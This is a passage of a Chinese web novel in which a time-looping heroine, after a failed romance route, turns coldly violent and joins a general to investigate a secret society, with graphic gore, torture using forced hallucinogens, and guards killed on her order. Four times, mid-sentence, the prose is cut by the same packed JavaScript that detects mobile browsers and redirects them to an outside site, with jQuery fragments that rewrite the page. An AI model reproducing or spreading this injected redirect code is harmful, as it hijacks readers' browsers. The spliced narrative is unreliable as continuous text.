她一个字都没说,汤珀森却不知道怎么隐约感受到了。他皮肤上还带着绯红,犹豫着开口时,语气却已经有些下坠了:“你要去哪?”
“……回家?”
“不是,我感觉……你像一阵风似的,虽然会拂过每一个人,但随时都会抽身离开。”他轻声发问道,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886432|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
唯恐打碎了什么似的,“……我的时间到了吗?”
汤珀森的语速很慢,好像又舍不得告别,又狠不下心挽留,只好说得很慢:只要这样,这句话说完前,眼前的人就不会消失不见。
伊斯特安静地看着他:“那你希望我走吗?”
他回答得毫不思索:“我希望和你一起走。”
“你做不到呀,”她轻声笑了,“你不是风。”
汤珀森笑了,他连苦涩都显得这么柔软:“……那我希望我的希望不要栓住你。”
“或许……”伊斯特没有去听脑子里的声音,把听理智的声音暂且搁置,只是说出了嘴唇想吐出的话,“我可以多待一会儿。”
她以前听过一千零一夜的故事。
或许是这个故事太古老了,所以流传下来的版本不全,伊斯特并不明白,为什么会是那种结局:第一千零二夜的时候,等到主角没有故事了,杀掉她不就好了吗?
她给了汤珀森一小时。
这段时间被他用来规划他们不会发生的未来,结束的时候,他握着她的手,房子选哪种壁纸正讲到一半。
这也太傻了,反正不会发生,让他讲完吧。
她这么想着,又在心里给了他一小时。
第二小时结束的时候,他们的茶还有一小会儿才泡好——为了避免她口渴,他端来了两个杯子。
算了,等这么久了,喝口茶再走吧。
第三个小时结束的时候,他们都没有说话,只是靠在一起,面前摆着一盘饼干,听壁炉里火焰燃烧的噼啪声。
从这里开始,伊斯特就没有计数了。
……嘲笑什么国王呀,她理智的极限只是区区三小时。
她几乎忘记了系统、任务和所有的一切,她和汤珀森共度余生,他们时常谈笑,偶尔争执。年复一年的关键日期时,他们为对方准备惊喜;弥漫白雾的冬日间,他们在壁炉前依偎着读书。
不知什么时候,对他的印象变成了带着咖啡香气的黄油饼干、牵过她指尖埋进的手心、和暖烘烘的毯子。她的一生被融上一层真诚的棕。
她一开始只是想给他一小时的机会,但不知道发生了什么,稀里糊涂的几小时过去了,稀里糊涂的几天过去了,稀里糊涂的几个月过去了……
稀里糊涂的,几十年就过去了。
垂垂老矣的伊斯特裹在柔软的羽绒被里,含着半个微笑,平静地、欣慰地走向终结……
仔细一想,她这辈子过得很好,很幸福……
由于年纪大了,她思考的速度也变慢了,但这并没有给她带来焦虑——她早就没有需要忧心的事了。
她度过了如此美好的一生,以至于她可以带着几分欢欣接受死亡:不是都说回光返照吗?闭上眼睛的时候,或许她会记起第一次见到汤珀森的那天呢?
她看了坐在床边的人一眼。汤珀森眼睛里闪动着泪光,看向她的时候,依旧在笑。
……但是不记起也不错呀,反正他一直在这里,一睁眼就能看见。
她安心地闭上了眼睛。
……
伊斯特猛地睁开眼睛。
周围是皇家花园。
……周围是皇家花园!
尖锐的怒意针似扎上她的太阳穴,皮肤之下,血管一跳一跳地搏动着。
“……你怎么敢!”被过去的岁月疗愈抚平了的某种东西重新出现,如火焰一般熊熊燃烧,几乎灼伤她自己;在怒气之下,连唇舌都又痛又烫,“你怎么敢……你怎么敢让我从头开始!”
「很遗憾,宿主第三十五次死亡。请再接再厉,攻略正确角色,抵达happy ending 。」
12. 第 12 章
伊斯特感觉自己像是分成了两个人。
半边的她坐在这里,无动于衷地看着尖叫声四起,看着有人倒下,看着那群她很久很久没记起来过了的袭击者包围了花园。
半边的她好像飘在半空中,俯视着这一切。痛苦,无助,生死,都像是一出滑稽戏,因为过于逼真,连好笑都不剩了,只有漫长的乏味感。
她坐在原地没动,看着寒光闪烁的剑刃朝自己砍来;越来越近,破空的风吹起了她的发丝。
好无聊啊。
……就这么死了也不错。
不对啊,自己好像怕疼来着。
太久没受过苦了,她都不记得了。真好笑。
伊斯特不闪不避,抬起左手,隔着一层盘子,迎上了那柄剑。它劈碎了银盘,势头稍有减轻,没有斩断她的手,只是卡在了被切开的血肉、肌理、以及骨头上。
哎哟。
“好疼啊,”她轻声细语,伴着起身的力道,左手猛地一撤一转,硬生生用血肉杠杆把剑从那人手中撬了下来,“你该动嘴给我道歉……”
她反手握住剑柄,笔直、顺滑地斜下劈去,遇到骨头就转弯,划开了长长的一条半圆形口子。
半张脸被从头骨上刮下来是什么样?要她类比的话,大概是一个有核的水果,上半片果肉被挖走了,只剩下砍不动的核,以及空中一点飞沫似的、白生生的骨茬。
伊斯特看着血肉模糊的人,温柔一笑,声音依旧轻轻的,“或者用命也行。”
她遽然一踹跌在地上的武器提供者,叫他的后背挡住了新加入战局的斧头。伊斯特双手握着剑,掀起眼皮,懒洋洋地打量了一圈。
大不了就是死嘛,她又不是很想活。
那头半长半短的黑发没有扎,在脑后四散飘扬,很快就沾上了血。她出招狠辣,只攻不防,什么地方伤了断了都不在乎,好像只要有人死在面前就高兴了,别人或是自己都行。
在半只左手、一只眼球以及几根肋骨陆陆续续不响应之后,伊斯特听见马蹄声由远及近地传来。
看来今天死不成了。她遗憾地叹了口气,抬手往地上用力一砍,把地上那个半张脸人的下颌削掉了。
没有吞咽能力,就别惦记着一会儿服毒了——她不如愿,谁都别想如愿。
现在怎么办?伊斯特盯着一地的尸体发呆,在恍惚间,她看见了一些面熟的,比如拉芙和杰奎琳。这种熟悉感让她作呕。
她想了想,没做出决定,但是觉得这里的血腥气有些重得难受了,于是一路往空气清新点的方向慢悠悠地走着。那群人好像自知意外生变,也没功夫管她,竟然真的让她走远了。
伊斯特随意地走了几步,听到说话声,抬眼一看。虽然视野就剩大半边了,但面前的景色和人都很熟悉——这不是内层花园吗?她的潜意识习惯性地走到这里来了?
这时候她意识到不对,自己满身血,手里还提着把剑……看上去有点像身残志坚、不顾伤口来刺杀皇家贵胄的袭击者。
解释不了,她也懒得开口解释,正想着要不就这样吧,听到快步走来的靴声。
伊斯特抬了抬眼睛,看到一个有点眼熟的人。
叫什么名字来着?捷柯?
黑发红眼的将军跪地行礼,然后看向素未谋面的她:“你怎么走这么快?不是让你等我吗?”
什么时候?上辈子吗?
“什么意思?”瑟亚铎和她一样不理解现状,感谢讨厌鬼替她提问,“她和你一起的?”
她也想知道啊。
“啊,对。”捷柯睁眼说瞎话。
他表情太过理直气壮,伊斯特都有点怀疑自己是不是真认识他了。
捷柯就这样维持着一脸“你有意见?”的表情,仗着有功盛气凌人地地汇报完了事情经过。
原来是有人看见可疑人士的行迹,一路上报报给他了,他顺着一查发现不对,干脆带兵来了。
……怪不得这次她明明没做那些有的没的,这人也在,原来是自己追过来的。伊斯特还在脑子里整理思路呢,突然被叫了一声。
“所以……”高台上的君主沉吟道,语气很平淡,却叫人一身冷汗,“动乱还未平息,你就冲到这里来了?”
潜台词是什么?她把危险带了过来,置在座诸位皇室贵胄与危难之中?你们能要点脸吗?
好烦啊,现在不是活得好好的吗,管她什么时候来呢,早知道进来先砍了他……伊斯特正想着现在也不晚,杀一个不亏杀两个血赚,准备上去动手的时候,听到了出乎意料的声音。
“并非如此。”捷柯的语气听着和刚刚没有任何区别,“敌人全歼了她才来的。”
伊斯特惊讶地侧头,看了他一眼。
*
“我们认识吗?”
两个人一起出去的时候,伊斯特求证道。
“不,”捷柯懒洋洋地摇了摇头,“但是我不欠人情。多亏你,我有了一个活俘虏——虽然他没有舌头了,而且必须及时就医。”
“有什么好抱怨的?拷打的时候留只手写字不就好了?”她倦怠又厌烦,“不过扯平了,挺好。”
“说到医生,你不看啊?”他对着她的伤斜斜一抬眼,用一种很有经验的语气说,听上去满不在意,又略带幸灾乐祸,“再拖一会儿就又瞎又残疾了。”
“怎么看啊?”伊斯特听上去不是特别在意,“要么你把那个俘虏的医生的地址留给我。”
“那你直接跟我走吧,我还有问题想问呢。”
“也行,但我不一定有心情回答。”
于是伊斯特上了这人的车。坐下之后她隐约记起自己父母还活着,好像要告知他们一句,头伸出去跟捷柯嘱咐了一句:“跟我家人说一声啊,到时候以为我大难不死必有后死了。”
捷柯回了她一个ok的手势。
马车一路走着。进来的时候,鬼知道捷柯从哪儿找了卷纱布,把她有伤的地方都给缠上了。伊斯特半边身体都裹在纱布里,感觉像陷在一床不怎么舒服的被子里。
然而不怎么舒服的被子也是被子,她又累又困,断断续续地看着窗外:“这么久啊?”
“郊外,免得惨叫扰民。”
“那我先睡了。”
“建议不要,你这种情况很容易睡死过去。”
“没事,无所谓,”伊斯特顺手把剩的纱布裹吧裹吧做了个枕头,说后半句话时眼睛已经闭上了,“到地方了叫我,叫不醒就算了。”
她再睁开眼睛的时候,发现自己躺在一张柔软的床上。
她又穿越了吗?
伊斯特试图把身子支起来,在左手的剧烈疼痛中失败了。
没有啊。
她盯着自己不太完好的左半边身体,用唯一一只能正常使用的眼球。这时候她发现自己那件可以去cult片里演精神病杀人犯的血浸长裙没有了,换了一件舒适的长衬衫。
“在想什么呢?”捷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886433|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
柯推门进来了。
“人有点残缺,要不要干脆一死了之;”伊斯特平淡地回答,“以及我的衣服呢。”
“前者建议你不要,因为我要问问题。后者的话,我找医生的时候顺便找人换的。”
“快点问。”她裹在真正的被子里,明明刚醒又昏昏欲睡了。
“你哪来那种武力?不是我看不起贵族少爷小姐们,”语气分明就是看不起的样子,“但是常理来说你应该躺在地上的尸体堆里吧。”
“关你什么事?路边一条狗教我的不行啊。”
“确实,我也不是特别关心,纯粹为了礼貌问的。”
哪个世界的礼貌都不长这样吧。
捷柯没有在床边的椅子落座,而是居高临下地站着,他凑近的时候,压根没掩盖的血腥气扑面而来:“你知道这群人的底细吗?你见过他们?”
“不知道,没见过。”
回应她的是轻轻的一声笑。
“……可能是手下刑讯过的人多了,别人跟我说谎的时候,我通常能一眼看出来。再说了,我检查过那人的伤势,最后一剑是在他已经失去行动能力后砍上去的——你很清楚他们会做什么,你在阻止他服毒。”
“哇你把主观判断放在客观证据前面吗,好独断专行。”
“不要装傻。”
“?我哪里表现的很傻吗。”伊斯特平淡的表情里混入了几分戾气,“我最讨厌别人对我用祈使句。谁也不欠谁的了,不满意我的回答就把我拖下去用刑,少对我指指点点。”
捷柯举起双手,无奈地后退半步,表示让步。
“我不对盟友用那个,”他把指尖插进有些凌乱的黑色短发里,向后胡乱一捋,“冒犯你了的话很抱歉。你有什么秘密是你的事,从我的角度看,你有脑子,有手段,性格上招人喜欢,最重要的是……”
他在椅子上坐下了,“很明显你对影耀会有所了解。既然都处于它的对立阵营了,我们合作如何?”
?
伊斯特一脸真心实意的迷茫。
“影耀会是什么?”
*
简单来说,就是共.济.会、刺客组织和邪教的杂交体。
伊斯特听了五分钟之后,大概得出了这样的结论。
“你是说这个组织又有位高权重的成员,又有混进人群里找不到的普通人;又在大事上暗中推动潮流,又用暴力手段达成目标;又以共同利益和互相帮助缔结盟约,又主张非主流精神信仰吗?”
她概括了一遍,真诚地发问:“你去看过脑子吗?这是癔症吧。”
捷柯看上去有半秒想动手,然后忍住了。
“都是经过调查和证据支撑的结论。”他冷冷地回道。
“你形容的特征都是彼此矛盾的啊。”伊斯特一边说,一边光明正大地打量了男人几眼,试图判断他有没有精神分裂,“而且堪称泾渭分明的两派了,有了其中一派,除非它的领导人脑子出问题了,否则没必要发展另一派啊。”
捷柯揉了揉太阳穴:“这就是问题所在。根据记载,以前的影耀会是没有精神信仰的,也不会直接造成恐怖袭击,更不屑于吸纳非特权阶级为成员。大概在几年之前有这个苗头,然后发展到了如今的地步。”
换领导层了吗?她以前的公司就是,换了个领导执行方略完全两个极端。
“时代在发展,我们真是赶上好时候了啊。”
伊斯特平平地总结道。
13. 第 13 章
伊斯特回家的时候没有拄拐杖,主要原因是,虽然左腿伤了,但她的左手也没有好到哪去。
她出门前问捷柯有没有轮椅,对方说我这儿没什么残疾人有很多死人,要不我让人给你放死人担架上抬回去吧。对于这个提议,她犹豫了一下,然后觉得路这么远担架太颠。
“你干脆留下来算了,我家有很多空房间,”捷柯的表情一如既往,让人判断不出他在讲冷笑话还是认真的,“就算把地下那些关人的抛开不谈,也还有不少。”
“这里竟然真的被定义为你家?”伊斯特嫌恶地震惊道,“不用了谢谢,我对惨叫声没兴趣,对尸体尤其没兴趣,我又不是真的乌鸦……”
她唐突地沉默了。
油画,欢笑声,搂上她时交缠的双臂。
伊斯特闭了闭眼睛。那种分成两个人的感觉又回来了,她好像飘得高高的,从外面观察着自己。伤口大概还在痛,但是不知道为什么,一点感觉都没有,就好像这是别人的肢体,别人的痛苦,别人的人生。
她决定不去想。
总之,伊斯特还是设法回了家。她进门的时候就被母亲一把抱住了。她无力地挣扎了一下,失败了,转而用言语:“……压到伤口了。”
松开她的速度比抱上来还快。
“你身上的伤谁干的?捷柯?”父亲的面色惨白,恐惧和坚定混杂在一起,“我去跟他拼了!”
“为什么是他?”伊斯特非常迷茫地反驳,“当然不是……除非你指的是纱布。”
她发现父母都看上去很吃惊,这一点让她也很惊讶:“他到底怎么跟你们说的?”
“他说……’人我就带走了,顺利的话她会回来的‘。”
神经病啊!恐怖分子吗!
“如果是从一个正常人嘴里说出来,这句也没有那么奇怪,”伊斯特实事求是地指出,“捷柯风评很差吗?”
她从尴尬的沉默中得到了答案。
*
伊斯特第三次参加朝议了。
抛开都是同一场不谈,她的熟练程度已经超过了努力工作一辈子也参加不了一次的地方官员了。
虽然这次她的阵营好像有微妙地偏移。
前一天晚上,捷柯跟她再三强调了立场问题。
“……差不多就这些,总之一点,我们是去指出问题的,你能明白吗?如果一切都显得风平浪静,就没有问题需要指出了。不要管反对的声音,有人喧哗说明你说得好,当堂吵起来就更好了,说明问题要被重视了。”
“简单来说就是扮演一个讨打的角色。”伊斯特总结,“真的不会被反对声盖过去吗?提醒我一下,主张追查到底这个阵营里有谁来着?”
捷柯指了指她,然后指了指自己。
“这不废话吗?除了你我呢?”
他摇了摇头。
“???你的意思是我们明天要两个人对抗整个世界吗?”
“一屋子不想生事的庸人和自以为是的贵胄,怎么就代表整个世界了?”捷柯嫌恶地啧了一声,看得出意见很大,“把观点发表好就行了,他们没有逻辑我们有,最上面坐的人又不是聋子,不至于失败。”
很难说他这到底是尊敬还是不敬。总之,由于同伙的原因,伊斯特总算体验了一把卡点进门、以及所有人看上去都对你又恨又怕的感觉。
她拄着手杖,一步一响地走进了华美的宫殿,几乎听上去是对这片寂静的一种挑衅。
伊斯特安之若素。她和捷柯并行,慢悠悠地走过长长的地毯,然后各自站到了对应的位置。
所有人都在看她。
她的位置和第一次一样,不引人注目的角落,此刻却汇聚了全场最多的视线。伊斯特慢条斯理地单手杵着手杖,整理了一下衬衫袖口,然后淡淡地掀起眼皮,一个一个地看了回去。
半边身体或多或少残疾之后,裙子反而不美观也不方便了,所以伊斯特今天一身漆黑的长风衣,缠眼睛的绷带上隐约洇出血迹。她看上去和衣着华贵、举止规整的权贵们如此迥异,以至于仅仅存在就像是一场入侵。
大部分人像是被她的视线刺痛一样,或仓皇或退让地低头。少数人,她猜测大概是坚定的反对派,瞪着她。
她的视线掠过了一些熟人。
这次和洛兰特压根没认识,他的眼神复杂不少,有惊讶,有敬赏,有警惕,甚至还有一些怜悯——不会是对她的伤吧?好恶心,明明是陌生人呢。
瑟亚铎还是那副样子,没被她吓到。伊斯特盯着他,挑了挑眉,露出一个好整以暇的微笑。根据她一周目的观感来说,这样很欠揍。对方果然平添了一些疑惑和怒气。在他有更多表示之前,伊斯特就把视线移走了。
这个时候,一身白袍的奥妮克丝才踏入宫殿。她明明看上去像守时的人,这次竟然比以前还要晚。圣女垂着眼睛行礼问好,在归位之前,忽而眼睫一颤,看向伊斯特,露出一个友善的微笑。
有什么变化了吗?
可惜伊斯特无暇去仔细思考,会议开始了。
*
这次和之前有很大不同。
有人下毒的事没有爆出来,教廷基本就被摘得干干净净了。所有罪责都落到了宫廷事务大臣的头上。由于伊斯特的立场是要把事情往严重了说,借此获得资源一查到底,她决定火上浇油。
“他们长驱直入,毫无阻拦,杀人跟砍瓜切菜一样。进来的时候没有一个人审查,袭击的时候也没有一个人阻拦,”伊斯特语气平平地描述道,“哇,我们的宫廷真是太安全啦。”
拉芙父亲的表情跟死人一样惨白。他张开嘴,没发出声音,好像没想到如何争辩。
“就算我们的宫廷事务大臣对恐怖分子夹道欢迎,”捷柯冷笑着歪曲事实,对“我没有!”的反驳声充耳不闻,“这件事也太过离奇了。要不是被我们拦住了,他们肯定会冲进内层。”
伊斯特毫不犹豫地接上,切入重点:“问题在于,袭击者为什么会知道刺杀的时间地点?这不该是严格保密的吗?”
要不是家里跟皇室沾亲带故的杰奎琳,她轮回三次估计都发现不了。
“你问我们吗?”瑟亚铎忍不住了,“不是说有活俘虏吗?审讯结果呢?你们是给他好吃好喝供起来了还是怎么着?”
她还没阴阳怪气回去,盟友已经开口了。
“殿下,您要是着急,可以莅临指导……就是怕您嫌血腥。”捷柯轻轻笑了一声,“我们的进度已经很快了。影耀会的卒子是出了名的难撬开,您不清楚也正常。”
见过这么多面了,她第一次看到瑟亚铎这幅风度尽失、大惊失色的样子。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886434|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怎么可能!”他双目圆睁,由于惊恐和不可置信,句子几乎是滑出口的,“开什么玩笑!怎么可能是影耀会!”
“怎么不可能了?”伊斯特温温柔柔地问道,“您为什么确定成这样?是您坚信他们不存在,还是他们每次行动之前要给您写封信问问指导意见?”
瑟亚铎遥遥地瞪着她,如果视线有实体,她身上已经被扎了几千个洞了:“你这个——”
皇帝咳嗽了一声。
争吵声和交锋声戛然而止,霎时间,所有人都安静下来。
“够了。”君主冷着声说道,“博林,你玩忽职守,造成重大失误,危及皇室性命……理应死罪。念在多年苦功,不必波及家眷。”
哟,拉芙家父女团圆了。
“至于影耀会的事……”皇帝面色发沉,“捷柯,你去查。缺什么东西,要就是了;一周之内,我要听到结果。”
大获全胜啊。要不是她拿这里的钱没用,下一步就可以开始贪污了,一周后找个替罪羊,往上一交收工……可惜他们两个人都想干实事。
伊斯特瞥了一眼捷柯。她对这人的第一印象是昭昭气盛,现在看来,当时才哪儿到哪儿啊。他暗红色双眼里闪着兴奋的光,好像捕食者看见猎物时,那种带着嗜血感的急迫与期待。
这个气质完全就像兔死狗烹里面的猎犬嘛……不过管他呢,反正有什么事她死一次就好了。
*
他们的调查分为两部分:查知道内情的人谁是叛徒,以及顺着手头有的这个俘虏往上找线索。
都难办得要死。
“你行不行啊?”伊斯特忍不住开口。她正倚在一把明显是搬下来的、和环境格格不入的躺椅上,站着说话不腰疼地对捷柯的工作指指点点。
烙铁铛的一声砸进了火盆里。
“你行你来?”捷柯带着怨气瞥了她一眼。
“你不能上点致幻剂吗?非要硬问?”
“……致什么?”
哦,这里没有,“你让人去找点能引起幻觉的植物呢?”伊斯特绞尽脑汁地回忆着原理,“提炼一下给他上点?在我以前的公司……我是说地方,审讯一般都配这种的。”
尽管性格不太健全,而且还对她的字里行间有很多疑问,但事实证明,捷柯是一个很能听取别人建议的人。
在被硬灌了一瓶配色神奇的蘑菇榨汁后,架子上的人抽搐了几下,然后昏昏沉沉地做出了反应。男人迷迷瞪瞪地转了转脑袋,曾经是颌关节的地方动了几下。
“如果他有舌头的话,我们就能听见这话的内容了。”捷柯语气毫无波澜地指出。
“不要得寸进尺。”伊斯特凑近了那个勉强成人形的血肉块,“他耳朵呢……你这一块好皮都没留下啊。”
捷柯抬起手,带着漆黑的皮手套的指尖在某处一点。照理来说这样血肉模糊的地方被按了该疼,那个人却毫无反应——看来起效了,致幻成分往往也有麻痹作用呢。
伊斯特温温柔柔地凑近了,轻声细语:“我们去哪里接头呀?”
架子上的人动了动,好像想说什么。
“诶呀,谁把你的嘴砍掉了,好残忍……”她轻轻感叹道,“这样吧,你写给我看,好不好?”
他强撑着,握住递到手里的笔,在纸上断断续续地写下了几行字。
14. 第 14 章
受伤之后,伊斯特就不太爱扎头发了。丝带一绕一系,对半只手不太好用的她来说,堪比解孔明锁;她又不喜欢身边带着侍女,干脆就放任头发自由。
她倚着墙,两只手拄着手杖,放空地看着士兵进进出出面前的小屋。冬日的寒风吹过她的发梢,仿佛扬起了一匹四散飞舞的漆黑绸缎。
“你不是说自己在城内没有带兵权吗?我记错了?”毕竟是好久以前的听到的话了。
捷柯侧头看了她一眼:“……我什么时候跟你说过?”
“你就当上辈子吧,”一个秘密也是好奇,二十个也是好奇,她甚至连敷衍都懒得敷衍,“所以我们为什么能光明正大地搜人住处?”
“以前是以前。”他言简意赅地说道,分出时间转头下了几个命令,又看向她,“……至少这七天,没谁拦得了我。”
伊斯特懒洋洋地眯起眼睛:“六天后呢?断头台上的铡刀拦你的脖子?”
“这是个很残酷的世界啊……互相践踏,彼此碾磨;出生时在人脚下,就要被踩一辈子。”
捷柯一边推开门,示意她可以进去了,一边平淡地阐述,“……正因如此,人如果不敢豁出点什么,就很难从这世界手上夺下点什么。”
伊斯特踏过门槛,看着积灰的桌子,嫌恶地没有碰。捷柯头也不回地丢过来一副手套,她轻巧地接住,两下戴上了,才终于伸手去搜里面的东西。
“哦,你是那个类型。”她熟练地把手伸进桌肚上壁,从边角向中心扫。
“什么类型?”捷柯正敲每一块地板,检验是否中空。
“愤世嫉俗那类。”她收回手,试图半跪在桌侧,但是失败了,干脆把手杖平放在一旁,“搭把手。”
捷柯两步走了过来,扶住她的肩膀;他的指尖牢牢地嵌入伊斯特的胳膊,痛得她一声闷哼:“轻点。”
那股力道收了一半。在坚固的支撑下,伊斯特慢慢借力俯下身,把眼睛贴近桌腿,仔细找挖空处:“报复心好重啊。”
在身后扶着她的人还没有放过那段对话:“你说得像愤世嫉俗是个贬义词。”
“它本来就是。”伊斯特用指节在某块木头上扣了扣,眼睛依旧盯着它,往后伸手;几乎是下一秒,手心就被递过来一把匕首,“不然为什么有积极进取这个词。”
捷柯虽然在尽职尽责地担任一个架子,嘴上还没停:“有什么不同?你是那群论心不论行的哲学家?”
“我不是啊……”
伊斯特一插一翘,移开盖在上面的伪装木块。从外表看不出任何异样的孔里,她抽出了卷得紧紧的一张纸。
她支起身来,手杖在地上一杵,轻轻把纸把放在了桌上。
“——我可是超级实用派的。”
*
“为什么?”
两个人面面相觑,一时间只能说出同样的问句。
“为什么?”伊斯特百思不得其解地盯着桌上展平的纸,“为什么要把一张空白的、毫无痕迹的、路边随手能捡到的纸藏这么深?”
过去的半小时,他们俩能想到的所有方法都试了一遍:观察痕迹,测试是否有药物,测量厚度找夹层,甚至对比了长宽,试图找到隐藏的信息……
但是没有任何作用,种种结果都表明,这就是一张普通的纸。
伊斯特不死心,但是这个地方她已经搜了个底朝天,只找到了它:“他绞尽脑汁地藏一张普通的纸干什么?”
“他们。”捷柯纠正道,“生活痕迹、轮流值守、以及武器储备……这是据点。”
“那没办法了,换思路吧,从这地方入手。”她站了起来,俨然准备离开了,“去问周边居民,去问目击者,去问房屋归属——这不用我教你吧?你比我熟。”
“我是将军,将军……你知道这个职位什么意思吗?带兵打仗的,不是搞内务审查的。”
“你揽下的活啊,”伊斯特一边说一边慢悠悠地往外走,被她数落的人又要听她说话,又不能和残疾人动手,没办法只能起身跟上,“难道我来吗?”
她思考了半秒,意识到自己只是公司里的一个普通职员,干这个更没经验,于是回答了自己的设问句:“不。”
捷柯花了点时间才听懂她的语法结构:“……”
在短暂的无语中,他们等来了下属的汇报。一个士兵面色紧绷地小跑过来,好像恨不得即将出口的坏消息能自己报告自己。
“长官,”他站直敬礼,然后对着伊斯特深深地低下头,“……小姐,已经查清楚了,这里隶属于第三期社会福利活动划分的公用房,旨在为极端贫困居民提供住所。”
捷柯啧了一声,“教廷的地方。”他沉着脸挥了挥手,让手下离开。后者如蒙大赦地一溜烟走了。
伊斯特丝毫没被低气压影响到:“那就去找教廷的人问问啊。”
他烦躁地活动了一下指节:“……我跟他们处不来。”
“这话说的,你跟谁处得来?”
“你。”
伊斯特无法反驳。
她被噎得说不出话了片刻,才重新开口:“那我去问……奥妮克丝管这方面吗?”
那双暗红的眼睛几乎是下一瞬间就扫了过来:“你们很熟?”
“?我只认识她。”伊斯特顿了顿,“不对,认识好像不是这个定义。那我只见过她。”
捷柯把阴沉沉的视线移开了:“如果她不管,就没人管了。”
“是说她心地善良、怜天悯人吗?”
“不,”捷柯面无表情地冷笑了一声,“是说她权力大得像教皇。”
在伊斯特惊讶的“啊?”声中,他又补了一句。
“——如果教皇这个位置还没被所谓的’圣女‘取代的话。”
*
他们兵分两路。
马车停在首都最大的教堂前,吱呀一声,逐渐停转的轮子几乎没有扬起任何灰絮。伊斯特悠悠下车,手杖拄在一尘不染的石板路上,眯着眼,仰头打量了一下高耸挺拔的尖顶。
“真漂亮呀……”她轻声感叹道,对着冬日暖阳下如梦似幻的玻璃彩窗一扬头,“你说对不对?”
在她身后,捷柯塞给她的一队士兵肃穆以待,为首的那个诚惶诚恐地答话:“是。”
“对嘛,所以说我们尽量不要弄脏这里。大家一会儿动作都轻一点。”伊斯特满意地收回视线,向前迈步
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886435|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
他们被守卫拦了下来。
“我是伊斯特·摩根那,找奥妮克丝。”伊斯特很有礼貌地解释道,“你进去汇报一声呢?”
“不好意思,圣女忙于公务,说了这三天谁都不见……哪怕是陛下亲至,也很难例外。”
“三天后很远了呀?真的不能现在进吗?通融一下嘛。”
门卫摇了摇头。
伊斯特还没来得及再开口呢,身后的人已经很自觉地一个箭步上前了。电光石火间,刀剑相交,发出刺耳的金铁之声。
分别前,捷柯让她带上这队“勉强看得过去的”,现在看来,恐怕是精锐的意思。那个士兵手中刀背一晃,教堂守卫刚拔剑就被缴械了。
“不是说尽量不要弄脏这里吗?”伊斯特微微皱着眉,温柔地轻声细语,循循善诱似的,“怎么能在门前对守卫动手呢?”
动手的士兵垂下头,沉声认错,放开了门卫被反剪着的双手。
伊斯特笑吟吟地退了半步,说完了后半句。
“——拖远一点再杀呀。”
在惨叫声和刀刃插入人体的血肉撕裂声中,她慢悠悠地走进了教堂,如入无人之境。
这下终于见到了奥妮克丝。圣女依旧一身白袍,匆匆走出内厅的小门,好像是被外面的响动惊到了。已经过了晚餐的时间,教堂内没有信徒,只有值守的神父,满面惊愤地迎面走来。
“滥杀无辜,独断专行!”神父气得咬字重而硬,“不让你们进来,这句话有这么难理解吗!”
他说着,胸膛剧烈起伏,把银皮书往宣讲台上一拍,双眼几乎射出怒火来,“有我在,你们谁也别想和圣女说话!有本事,你就把我一起杀了!我是帝国钦命的神职人员,虽然不能叫你这恶人以命偿命,受罚总归是轻不了的!”
好烦呀,本来心情就不太好。
“诶?我也是没办法嘛,要不这样,按你说的来……”伊斯特转向他,歪了歪头,“我以命偿命,好吗?”
神父僵住了。
“别客气,来人,”她一扭头,吩咐手下人过来,“你,把你的刀给他……真没眼力见,没武器他怎么砍我呢?”
那个士兵毕恭毕敬地把刀递了过去。
“伸手接呀,没事的,”伊斯特气声温和地宽慰道,一步一步凑近,“我真的不介意,真的。你拿着嘛……砍我一只手也行,扎进我心口也行……”
她脸上满是真诚地劝着,甚至还一边说一边比着刀刃,好像要把手腕划上去了。原先气正神严的神父被她吓得面无人色,既想远离寒光,又想远离她,却不敢妄动。
一只素白的手拦住了她。
“摩根那小姐,”奥妮克丝轻声阻拦道,指尖划过她的手腕,轻轻环住了,“我替他跟你道歉,别吓他了。”
伊斯特反握住那只手,一把扯近了。
“想跟你说上话真难啊……”
